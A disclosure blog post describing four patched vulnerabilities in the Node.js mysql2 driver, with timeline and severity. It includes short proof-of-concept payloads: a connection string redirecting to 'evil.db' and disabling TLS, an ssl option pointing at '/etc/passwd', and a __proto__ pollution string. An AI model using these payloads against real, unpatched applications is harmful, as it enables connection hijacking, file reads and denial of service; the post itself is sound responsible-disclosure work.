4 vulnerabilities in node-mysql2 — from config injection to prototype pollution
I found four related vulnerabilities in mysql2, the most popular MySQL client for Node.js. Connection option override, prototype pollution, geometry DoS, and an out-of-bounds read — all fixed within 24 hours.

What is mysql2? mysql2 is the most popular MySQL client for Node.js with over 5 million weekly npm downloads. If you've built a Node.js app that talks to MySQL, you've probably used it. It's the default MySQL driver for ORMs like Sequelize and Knex.
how i found four bugs in one package
i was auditing npm packages as part of my security research practice — looking at how popular packages handle untrusted input, especially in connection and parsing logic. mysql2 caught my attention because of its massive install base and the fact that connection strings often come from environment variables, config files, or in multi-tenant setups, from user input.
what started as a look at URL parsing turned into four distinct findings, all related to insufficient input validation at trust boundaries.
finding 1: connection option override via URL query parameters
this is the most impactful one. ConnectionConfig.parseUrl() processes all URL query parameters via JSON.parse() and assigns them into connection options without filtering. since query parameters are processed after the URL structure (host, port, database), they override everything.
const { createConnection } = require('mysql2');
// Attacker-controlled connection string overrides host and disables TLS
const conn = createConnection(
'mysql://user:pass@legit.db/app?host=evil.db&ssl=false&multipleStatements=true'
);
console.log(conn.config.host); // 'evil.db' — redirected!
console.log(conn.config.ssl); // false — TLS disabled!
console.log(conn.config.multipleStatements); // true — SQL injection enabled!
an attacker who controls or influences the connection string can:
- redirect connections to a malicious MySQL server (
?host=evil.db) - disable TLS (
?ssl=false) — downgrade to plaintext - enable multi-statement queries (
?multipleStatements=true) — turning a simple SQL injection into full database control - read arbitrary files via SSL options (
?ssl={"ca":"/etc/passwd"})
this is relevant in multi-tenant platforms, admin panels with "test connection" features, or any application that accepts user-supplied database connection strings.
finding 2: prototype pollution via `__proto__`
the same unfiltered query parameter processing also enables prototype pollution. an attacker can inject __proto__ as a query parameter:
const { ConnectionConfig } = require('mysql2');
ConnectionConfig.parseUrl(
'mysql://user:pass@legit.db/app?__proto__={"polluted":"yes"}'
);
console.log(({}).polluted); // 'yes' — Object.prototype is polluted!
JSON.parse() parses the value into an object, and options[key] assigns it — including when key is __proto__. this pollutes Object.prototype for the entire Node.js process, which can lead to denial of service, authentication bypasses, or remote code execution depending on the application.
credit where it's due: this vector was actually identified by @wellwelwel during the fix review of PR #4162. i reported the config override issue, and he spotted the prototype pollution angle while reviewing the code. great collaboration.
finding 3: DoS via malformed geometry payloads
parseGeometryValue() reads geometry structures from MySQL server responses without validating buffer bounds. a malformed payload with an inflated point count or ring count triggers an uncaught RangeError, crashing the Node.js process:
RangeError: The value of "offset" is out of range...
this is exploitable when a malicious MySQL server (e.g., via the connection redirect in finding 1) sends crafted geometry column responses. chain finding 1 → finding 3 and you get: redirect the connection, then crash the client.
finding 4: logical out-of-bounds read in packet parsing
readNullTerminatedString() scans for a null byte to determine where a string ends, but it doesn't check the logical packet boundary (this.end). when multiple packets share the same backing Buffer (which is common for performance), the method reads past the current packet into adjacent data:
// Packet ends at byte 7, but buffer contains more data
// readNullTerminatedString() returns "ABCSECRET" instead of "ABC"
this violates packet framing assumptions and can leak data from neighboring packets — potentially exposing query results or authentication data from other connections.
the fix — 24 hours from report to release
this was one of the fastest turnarounds i've experienced. here's the timeline:
| Date | Event |
|---|---|
| Mar 7, 2026 | vulnerabilities discovered during audit |
| Mar 8, 2026 | report sent to maintainer via GitHub Security Advisory |
| Mar 8, 2026 | maintainer acknowledged, @wellwelwel began implementing fixes |
| Mar 9, 2026 | all four fixes merged, v3.19.1 released |
four PRs, four fixes, one release — all within 24 hours:
- PR #4162: query parameters no longer override URL-derived options; also prevents
__proto__pollution - PR #4159: geometry parser validates buffer bounds
- PR #4164: additional geometry parsing hardening
- PR #4161: null byte scan stops at logical packet boundary
severity
- CVSS: 7.7 (High) —
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H - CWE: CWE-125 (Out-of-bounds Read), CWE-400 (Resource Exhaustion), CWE-915 (Mass Assignment)
- Affected: mysql2 < 3.19.1
- Fixed: mysql2 3.19.1
what makes this interesting
attack chaining. these four vulnerabilities aren't just independent bugs — they compose. finding 1 (connection redirect) enables finding 3 (geometry DoS). control the connection string, redirect to a malicious server, and crash the client with crafted responses. that's a realistic attack scenario in any application with a "test database connection" feature.
trust boundary violations. all four findings share a common theme: treating data from an untrusted source as if it were trusted. URL query parameters overriding host config. server responses not being bounds-checked. packet parsing not respecting framing. each one is a case where the code assumed input was well-formed when it shouldn't have.
the speed of open source. 24 hours from report to patched release. @wellwelwel implemented all four fixes, caught an additional vulnerability (prototype pollution) during review, and shipped the release — all in one day. that's the open-source security ecosystem working exactly as it should.
if you use mysql2
upgrade to 3.19.1 or later. if you accept user-supplied connection strings, this is especially urgent.
npm install mysql2@latest
reported by Doruk Tan Öztürk (@peaktwilight). fixes by @wellwelwel. release: mysql2 v3.19.1.